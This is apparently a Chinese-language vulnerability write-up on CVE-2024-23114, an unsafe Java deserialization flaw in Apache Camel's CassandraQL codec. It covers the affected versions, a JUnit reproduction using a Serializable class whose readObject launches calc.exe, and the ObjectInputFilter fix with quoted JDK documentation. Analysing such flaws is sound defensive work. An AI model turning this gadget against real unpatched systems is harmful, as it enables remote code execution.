CVE-2024-23114 Apache Camel: Camel-CassandraQL: Unsafe Deserialization from CassandraAggregationRepository
CVE-2024-23114 Apache Camel: Camel-CassandraQL: Unsafe Deserialization from CassandraAggregationRepository
漏洞概述
Apache Camel Security Advisory - CVE-2024-23114 - Apache Camel
Camel-CassandraQL AggregationRepository 容易受到不安全反序列化的影响。在特定条件下,可以反序列化恶意负载。
VERSIONS AFFECTED
From 3.0.0 before 3.21.4, from 3.22.0 before 3.22.1, from 4.0.0 before 4.0.4, from 4.1.0 before 4.4.0.
VERSIONS FIXED
3.21.4, 3.22.1, 4.0.4 and 4.4.0
源码分析
我们看到这个描述说“添加了一个字符串类型的 ObjectInputFilter”,也就是用过滤来解决这个反序列化的问题的。直接看到代码 CassandraCamelCodec.java
,正如描述所说的。直接发现了一个原生反序列化的地方。
漏洞复现
搭建环境的时候,发现了一个简单的构建环境复现的方式。Kameleon提供了一个在线生成 standalone 页面,选择 CassandraQL 组件生成一个项目。
解压之后使用 IDEA 打开,我们使用测试单元进行复现。我们模仿提交里面的两个测试类,添加以下两个类。
Employee.java
package org.acme.camel;
import java.io.IOException;
import java.io.Serializable;
public class Employee implements Serializable {
String name;
String surname;
public Employee(String name, String surname) {
this.name = name;
this.surname = surname;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getSurname() {
return surname;
}
public void setSurname(String surname) {
this.surname = surname;
}
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
}
CassandraCamelCodecTest.java
package org.acme.camel;
import java.io.*;
import java.nio.ByteBuffer;
import org.apache.camel.processor.aggregate.cassandra.CassandraCamelCodec;
import org.apache.camel.test.junit5.CamelTestSupport;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
public class CassandraCamelCodecTest extends CamelTestSupport {
CassandraCamelCodec codec;
@Override
protected void startCamelContext() throws Exception {
super.startCamelContext();
codec = new CassandraCamelCodec();
}
@Test
public void shouldFailWithRejected() throws IOException, ClassNotFoundException {
Employee emp = new Employee("Mickey", "Mouse");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(emp);
oos.flush();
oos.close();
InputStream is = new ByteArrayInputStream(baos.toByteArray());
InvalidClassException thrown = Assertions.assertThrows(InvalidClassException.class, () -> {
// fix version
// codec.unmarshallExchange(context, ByteBuffer.wrap(is.readAllBytes()), "java.**;org.apache.camel.**;!*");
// vuln version
codec.unmarshallExchange(context, ByteBuffer.wrap(is.readAllBytes()));
});
System.out.println(thrown.getMessage());
Assertions.assertEquals("filter status: REJECTED", thrown.getMessage());
}
}
运行测试单元即可触发反序列化漏洞。
漏洞修复
修改 pom 文件的 camel-cassandraql 的版本(默认是没有的),修改到漏洞修复后的版本。
<dependency>
<groupId>org.apache.camel</groupId>
<artifactId>camel-cassandraql</artifactId>
<version>4.4.0</version>
</dependency>
运行发现测试用例通过,意味着反序列化被拦截。
看到代码修复的关键地方,加入了一个 Filter。
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) throws IOException, ClassNotFoundException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(Config.createFilter(deserializationFilter)); // fix vuln
Object object = objectIn.readObject();
objectIn.close();
return object;
}
后面才发现,这个是 JDK 自带的一个方法,而且这个方法是 JDK9 之后引入的,常用 JDK8 的脚本小子在这个时候孤陋寡闻了。而且这里只需要传入一个字符串类型的 pattern 即可设置完成 Filter。pattern 的解析具体在 java.io.ObjectInputFilter.Config.Global#Global
。
具体是文档在 ObjectInputFilter.Config (Java SE 9 & JDK 9 ) 。
public static ObjectInputFilter createFilter(String pattern)
Returns an ObjectInputFilter from a string of patterns. 从模式字符串返回一个 ObjectInputFilter。
Patterns are separated by “;” (semicolon). Whitespace is significant and is considered part of the pattern. If a pattern includes an equals assignment, “
=
” it sets a limit. If a limit appears more than once the last value is used. 模式由“;”分隔(分号)。空白很重要,被认为是模式的一部分。如果模式包含 equals 赋值,“=
”它会设置一个限制。如果限制出现多次,则使用最后一个值。
- maxdepth=
value
- the maximum depth of a graph maxdepth=value
- 图表的最大深度- maxrefs=
value
- the maximum number of internal references maxrefs=value
- 内部引用的最大数量- maxbytes=
value
- the maximum number of bytes in the input stream maxbytes=value
- 输入流中的最大字节数- maxarray=
value
- the maximum array length allowed maxarray=value
- 允许的最大数组长度Other patterns match or reject class or package name as returned from
Class.getName()
and if an optional module name is presentclass.getModule().getName()
. Note that for arrays the element type is used in the pattern, not the array type. 其他模式匹配或拒绝从Class.getName()
返回的类或包名称,并且如果存在可选模块名称class.getModule().getName()
。请注意,对于数组,模式中使用的是元素类型,而不是数组类型。
- If the pattern starts with “!”, the class is rejected if the remaining pattern is matched; otherwise the class is allowed if the pattern matches. 如果模式以“!”开头,则如果剩余模式匹配,则该类将被拒绝;否则,如果模式匹配,则允许该类。
- If the pattern contains “/”, the non-empty prefix up to the “/” is the module name; if the module name matches the module name of the class then the remaining pattern is matched with the class name. If there is no “/”, the module name is not compared. 如果模式包含“/”,则“/”之前的非空前缀是模块名称;如果模块名称与类的模块名称匹配,则其余模式与类名称匹配。如果没有“/”,则不比较模块名称。
- If the pattern ends with “.” it matches any class in the package and all subpackages. 如果模式以“.”结尾,则它匹配包和所有子包中的任何类。
- If the pattern ends with “.” it matches any class in the package. 如果模式以“.”结尾,则它与包中的任何类匹配。
- If the pattern ends with “”, it matches any class with the pattern as a prefix. 如果模式以“”结尾,则它匹配以该模式作为前缀的任何类。
- If the pattern is equal to the class name, it matches. 如果模式等于类名,则匹配。
- Otherwise, the pattern is not matched. 否则,模式不匹配。
The resulting filter performs the limit checks and then tries to match the class, if any. If any of the limits are exceeded, the filter returns
Status.REJECTED
. If the class is an array type, the class to be matched is the element type. Arrays of any number of dimensions are treated the same as the element type. For example, a pattern of “!example.Foo
”, rejects creation of any instance or array ofexample.Foo
. The first pattern that matches, working from left to right, determines theStatus.ALLOWED
orStatus.REJECTED
result. If the limits are not exceeded and no pattern matches the class, the result isStatus.UNDECIDED
. 生成的过滤器执行限制检查,然后尝试匹配该类(如果有)。如果超出任何限制,过滤器将返回Status.REJECTED
。如果类是数组类型,则匹配的类是元素类型。任意维数的数组都被视为与元素类型相同。例如,“!example.Foo
”模式拒绝创建example.Foo
的任何实例或数组。第一个匹配的模式(从左到右)确定Status.ALLOWED
或Status.REJECTED
结果。如果未超出限制并且没有模式与该类匹配,则结果为Status.UNDECIDED
。
Parameters: 参数:
pattern
- the pattern string to parse; not nullpattern
- 要解析的模式字符串;不为空Returns: 返回:
a filter to check a class being deserialized;
null
if no patterns 用于检查正在反序列化的类的过滤器;null
如果没有模式Throws: 投掷:
IllegalArgumentException
- if the pattern string is illegal or malformed and cannot be parsed. In particular, if any of the following is true:IllegalArgumentException
- 如果模式字符串非法或格式错误且无法解析。特别是,如果满足以下任一条件:if a limit is missing the name or the name is not one of “maxdepth”, “maxrefs”, “maxbytes”, or “maxarray” 如果缺少名称限制或名称不是“maxdepth”、“maxrefs”、“maxbytes”或“maxarray”之一if the value of the limit can not be parsed byLong.parseLong
or is negative 如果限制的值无法被Long.parseLong
解析或者为负数if the pattern contains “/” and the module name is missing or the remaining pattern is empty 如果模式包含“/”并且模块名称丢失或剩余模式为空if the package is missing for “.” and “.**” 如果包中缺少“.”和“.**”